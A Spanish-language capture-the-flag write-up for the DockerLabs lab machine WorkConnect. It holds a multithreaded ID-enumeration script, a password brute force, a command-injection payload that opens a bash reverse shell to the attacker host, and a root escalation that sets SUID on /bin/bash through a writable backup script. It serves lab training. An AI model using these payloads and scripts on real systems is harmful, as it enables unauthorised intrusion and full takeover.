> For the complete documentation index, see [llms.txt](https://wolder-hackverse.gitbook.io/wolders-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wolder-hackverse.gitbook.io/wolders-docs/writeups/dockerlabs/medium/workconnect.md).

# WorkConnect

## Box info

<figure><img src="/files/2qEAfj2YLoPITwJL6kwH" alt=""><figcaption></figcaption></figure>

***

## Introducción

Este writeup documenta la resolución de la máquina **WorkConnect** de la plataforma **DockerLabs**.

La máquina expone dos vulnerabilidades web, y una vía de intrusión para comprometer el acceso al servidor. La primera vulnerabilidad web consiste en enumerar DNIs válidos aprovechando un oracle en el endpoint de registro, que revela si un DNI ya existe en el sistema. Con los DNIs válidos encontrados mediante un script de fuzzing, se realiza una segunda fase de fuerza bruta contra el panel de login para obtener la contraseña correspondiente, logrando así acceso autenticado al dashboard. La segunda vía explota un SSRF en el campo `photo_url` del perfil, donde el servidor ejecuta el valor como comando shell sin sanitización, derivando en un **Command Injection** que permite ejecución remota de comandos sin necesidad de credenciales válidas.

Una vez dentro del sistema, es posible escalar privilegios a **root** aprovechando una mala configuración de permisos en un script Python de backup ejecutado periódicamente por root, permitiendo modificarlo para obtener una shell privilegiada.

***

### Objetivo del reto

* Reconocimiento web
* Análisis de vulnerabilidades y explotación web
* Acceso inicial al sistema
* Escalar privilegios hasta el usuario root

### Habilidades y técnicas evaluadas

* Enumeración de servicios y directorios web
* Análisis de vulnerabilidades web
* User Enumeration mediante oracle en registro
* SSRF to Command Injection
* Escalada de privilegios mediante script con permisos incorrectos (Writable Script Privesc)

***

## Reconocimiento

### Escaneo de puertos con nmap

Realizamos un escaneo de puertos del sistema:

```bash
nmap -p- -sS --min-rate 5000 -vvv -Pn -n 172.17.0.2 -oG allPorts
```

Donde:

* -p- -> escanea todos los puertos
* -sS -> escaneo SYN (stealth)
* \--min-rate 5000 → acelera el escaneo
* -Pn -> omite el ping previo
* -n -> evita resolución DNS
* -oG -> guarda el resultado en formato grepeable

Resultados obtenidos:

* 8000/tcp -> HTTP

Una vez que identifiquemos los puertos abiertos de la máquina, realizaremos un escaneo más exhaustivo para cada uno de los puertos y así obtener información detallada de los puertos:

```bash
nmap -p8000 -sCV 172.17.0.2 -oN targeted
```

Donde:&#x20;

* -p8000 -> escanea únicamente los puertos abiertos previamente detectados
* -sC -> ejecuta scripts por defecto de NSE (Nmap Scripting Engine)
* -sV -> detecta versiones de los servicios
* -oN -> guarda el resultado en un fichero en formato normal

Este escaneo nos permitirá identificar posibles configuraciones inseguras o vulnerabilidades conocidas en los servicios expuestos.

A priori, no se observan vulnerabilidades ni configuraciones inseguras destacables en ninguno de los servicios

<figure><img src="/files/YZG5rqSEHrEHcdZJY8qk" alt=""><figcaption></figcaption></figure>

***

## Enumeración del servicio web (puerto 8000)

### Análisis inicial

Al acceder al servicio web en `http://172.17.0.2:8000` se observa plataforma web de empleo que permite a los usuarios registrarse, iniciar sesión y gestionar su perfil profesional. La aplicación está desarrollada con **FastAPI** y ofrece funcionalidades de registro con DNI, login, y un dashboard con opciones de actualización de perfil incluyendo importación de foto desde URL externa.

<figure><img src="/files/TF1cdsMY4BnpLtmkgTec" alt=""><figcaption><p>Imagen página principal</p></figcaption></figure>

### Enumeración web&#x20;

Tras el análisis inicial de la aplicación, se identifican los endpoints disponibles consultando `/docs` y `/openapi.json`, que exponen la documentación automática generada por FastAPI.

Durante el proceso de registro se observa que el servidor devuelve un mensaje diferente según si el DNI introducido ya existe en el sistema:

> *"El DNI introducido ya se encuentra registrado en nuestra plataforma."*

Este comportamiento constituye un **oracle de enumeración** — es posible distinguir DNIs válidos de inválidos basándose en la respuesta del servidor, lo que permite enumerar usuarios existentes sin autenticación.

## IDOR

Además, el formulario de registro incluye el atributo `placeholder="71902...."` en el campo DNI, filtrando el prefijo de los DNIs registrados en el sistema.

Con esta información se desarrolla el siguiente script en Python para automatizar la enumeración y buscar posibles DNIs:

```python
#!/usr/bin/env python3
#
# [+] User Enumeration - DNI Oracle
#
# - Plataforma: DockerLabs
# - Máquina: WorkConnect
# - Dificultad: Medium
# - Autor: Wolder
# - Fecha: 05-05-2026
#
#-------------------------------------

from pwn import *
import sys, requests, signal, string, threading

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

TARGET   = "http://172.17.0.2:8000/register"
PREFIX   = "71902"
ORACLE   = "El DNI introducido ya se encuentra registrado"
OUTPUT   = "dnisEncontrados.txt"
THREADS  = 50
HEADERS  = {'Content-Type': 'application/x-www-form-urlencoded'}

results  = []
lock     = threading.Lock()
counter  = [0]

def probe(dni):
    payload = {
        "name":     "test",
        "email":    f"{dni}@test.com",
        "dni":      dni,
        "password": "test"
    }
    try:
        r = requests.post(TARGET, headers=HEADERS, data=payload, timeout=3)
        with lock:
            counter[0] += 1
        if ORACLE in r.text:
            with lock:
                results.append(dni)
            log.success(f"DNI válido → {dni}")
            with open(OUTPUT, "a") as f:
                f.write(dni + "\n")
    except:
        pass

def candidates():
    result = []
    for n in range(1000):
        for l in string.ascii_uppercase:
            result.append(f"{PREFIX}{n:03d}{l}")
    return result

def main():

    banner = log.progress("WorkConnect — DNI Oracle")
    banner.status("Iniciando...")

    from concurrent.futures import ThreadPoolExecutor
    with ThreadPoolExecutor(max_workers=THREADS) as pool:
        pool.map(probe, candidates())

    banner.success(f"Finalizado — {len(results)} DNI(s) encontrado(s)")

    if results:
        print()
        log.info("DNIs válidos:")
        for d in results:
            print(f"  └─ {d}")

if __name__ == "__main__":
    main()
```

La ejecución del script revela los siguientes DNIs válidos:

```
❯ python3 fuzzing.py
[...\....] WorkConnect — DNI Oracle: Iniciando...
[+] DNI válido → 71902223C
[+] DNI válido → 71902345A
[+] DNI válido → 71902565I
[+] DNI válido → 71902678E
```

***

### Fuerza bruta de credenciales

Con los DNIs válidos enumerados se desarrolla un script en Python para realizar fuerza bruta contra el panel de login usando `rockyou.txt`. Tras probar los DNIs encontrados, únicamente se obtienen credenciales válidas para el DNI `71902678E`:

```
[+] LOGIN VÁLIDO → DNI: 71902678E  |  Password: chocolate
```

Con estas credenciales se accede al dashboard como **Target User,** pero no nos da información relevante que podamos usar para el acceso al sistema.

## **Explotación - SSRF to Command Injection**

Una vez autenticados en el dashboard, se analiza el endpoint `/dashboard/update-profile`. El campo `photo_url` indica que el servidor descarga la imagen desde una URL externa. Al probar con un servidor HTTP propio se confirma que el servidor realiza peticiones salientes (**SSRF confirmado)**.

```bash
python3 -m http.server 80
```

<figure><img src="/files/ADM0mcGTHzUa4n2FdHvN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EExMfmMkf8pZOzddMlJY" alt=""><figcaption></figcaption></figure>

Al introducir únicamente un punto y coma en el campo `photo_url`, el terminal del dashboard revela el comando subyacente:

<figure><img src="/files/Q5YKD3nbmL3hEV1fXbBf" alt=""><figcaption></figcaption></figure>

Esto confirma que el servidor ejecuta `curl` internamente pasando el valor del campo directamente al shell sin sanitización, con lo que confirmamos un **Command Injection.**

Al inyectar comandos con `;` se obtiene ejecución remota:

```
; id
```

<figure><img src="/files/FiCGcoVrXMZgLUxWSrIm" alt=""><figcaption></figcaption></figure>

***

### Reverse Shell

Con el Command Injection confirmado, se procede a obtener una reverse shell. Se levanta un listener en la máquina atacante:

```bash
nc -nlvp 4444
```

Se introduce en el siguiente payload en el campo `photo_url` :&#x20;

```bash
; bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
```

La conexión se establece y se obtiene acceso al sistema como el usuario `recruiter`:

<figure><img src="/files/ySNldrbpcLoo7fLt7Lkg" alt=""><figcaption></figcaption></figure>

Una vez obtenido el acceso como el usuario recruiter, se procede a tratar la tty empleando los siguientes comandos:

```bash
# Máquina víctima
script /dev/null -c bash
^Z #ctrl + z

# Máquina atacante
stty raw -echo; fg

# Máquina víctima
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 54 columns 209

```

***

## Escalada de privilegios

### Enumeración inicial

Una vez dentro del sistema como `recruiter`, se procede a enumerar el sistema en busca de vectores de escalada.

1. **Enumeración permisos sudoers**

```bash
sudo -l
bash: sudo: command not found
```

2. **Enumeración uid, gid , groups del usuario (recruiter)**

```bash
id
uid=1000(recruiter) gid=1001(recruiter) groups=1001(recruiter),1000(humanresources)
```

3. **Enumeración de archivos con permisos SUID**

```bash
find / -perm -4000 2>/dev/null 
```

4. **Enumeración de archivos pertenecientes al grupo (humanresources)**

```bash
find / -group humanresources 2>/dev/null 
/opt/backup.py
```

El archivo `/opt/backup.py`  que nos reporta el comando anterior, es propiedad de `root`, sin embargo el grupo `humanresources` dispone de permisos de escritura sobre él. Dado que el usuario `recruiter` forma parte de dicho grupo, es posible modificar su contenido.

```bash
ls -l /opt/backup.py
-rw-rw-r-- 1 root humanresources 883 May  4 08:46 /opt/backup.py
```

***

### Análisis del /opt/backup.py

Justo en la descripción del script, nos comenta que este se invoca/ejecuta cada 60 segundos por el usuario root.&#x20;

```python
#!/usr/bin/env python3
"""
WorkConnect - Internal Backup Service
Invoked every 60 seconds by root (via entrypoint loop).
"""
```

### Verificación con pspy

Para confirmar que efectivamente root ejecuta el script periódicamente, se transfiere `pspy64` a la máquina víctima y se ejecuta:

```bash
# Máquina atacante
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server 80

# Máquina víctima
cd /tmp
curl http://172.17.0.1/pspy64 -o pspy64
chmod +x pspy64
./pspy64
```

Tras esperar unos segundos, `pspy` confirma la ejecución periódica de un script `/entrypoint.sh` por parte de `root` , después de la ejecución de este script, se observa ejecución periódica cada minuto de un sleep 60.

<figure><img src="/files/zIkQsFyfNw51EkkEdxz5" alt=""><figcaption></figcaption></figure>

* **Análisis del script /entrypoint.sh**

Analizando el script `/entrypoint.sh` ejecutado por `root`, se confirma que contiene un bucle `while` que invoca `/opt/backup.py` cada 60 segundos:

```bash
cat /entrypoint.sh
#!/bin/bash
# WorkConnect - Docker Entrypoint
# Launches the backup loop as root in background, then runs the web app as 'recruiter'.

# Backup loop: runs /opt/backup.py every 60 seconds as root in the background
while true; do
    python3 /opt/backup.py >> /var/log/backup.log 2>&1
    sleep 60
done &

# Run the web application as the recruiter user
exec su -s /bin/bash recruiter -c "cd /opt/workconnect && python3 run.py"
```

Esto confirma definitivamente que `/opt/backup.py` es ejecutado por `root` cada 60 segundos, lo que convierte la escritura sobre este archivo en un vector de escalada de privilegios.

### Modificación del script  /opt/backup.py

El archivo `/opt/backup.py` es propiedad de `root`, sin embargo una mala configuración de permisos permite al grupo `humanresources` escribir en él. Al ser `recruiter` miembro de este grupo, es posible alterar su contenido.

Se añade la siguiente línea justo debajo de los imports:

```bash
os.system("chmod u+s /bin/bash")
```

***

### Verificación del bit SUID

Tras esperar aproximadamente 60 segundos a que `root` ejecute el script obtenemos la /bin/bash con permiso SUID activado:

```bash
recruiter@8ae1d4948655:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Sep  6  2025 /bin/bash
```

### **Obtención de shell como root**

Con el bit SUID asignado a `/bin/bash`, se obtiene shell privilegiada:

```bash
recruiter@8ae1d4948655:/tmp$ /bin/bash -p
bash-5.2# whoami
root
bash-5.2# 
```

***

## Conclusión

El acceso y compromiso del sistema se logra mediante la explotación de una cadena de vulnerabilidades en la aplicación web:

* **User Enumeration mediante oracle**, que permite enumerar DNIs válidos del sistema aprovechando la respuesta diferenciada del endpoint de registro.
* **Fuerza bruta de credenciales**, utilizando los DNIs enumerados para obtener acceso autenticado al dashboard.
* **SSRF to Command Injection**, explotando el campo `photo_url` del perfil para ejecutar comandos arbitrarios en el servidor sin sanitización.
* **Escalada de privilegios mediante Writable Script**, aprovechando una mala configuración de permisos en `/opt/backup.py`, ejecutado periódicamente por `root`, para inyectar código y obtener una shell privilegiada.

Esta cadena de explotación demuestra cómo múltiples vulnerabilidades de medio impacto pueden combinarse para comprometer completamente el sistema.

## Técnicas usadas

* User Enumeration (Registration Oracle)
* Fuerza bruta de credenciales
* SSRF (Server-Side Request Forgery)
* Command Injection (RCE)
* Enumeración del sistema Linux
* Escalada de privilegios mediante Writable Script de Python ejecutado por root
